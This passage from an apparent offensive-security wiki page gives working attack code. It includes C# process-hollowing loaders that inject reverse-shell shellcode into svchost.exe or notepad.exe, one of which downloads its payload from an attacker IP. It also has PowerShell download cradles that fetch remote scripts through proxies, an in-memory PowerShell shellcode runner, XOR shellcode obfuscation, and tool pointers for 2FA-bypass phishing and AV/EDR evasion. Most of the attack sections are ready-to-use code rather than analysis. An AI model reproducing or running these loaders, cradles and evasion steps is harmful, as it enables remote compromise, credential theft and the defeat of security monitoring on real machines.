            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
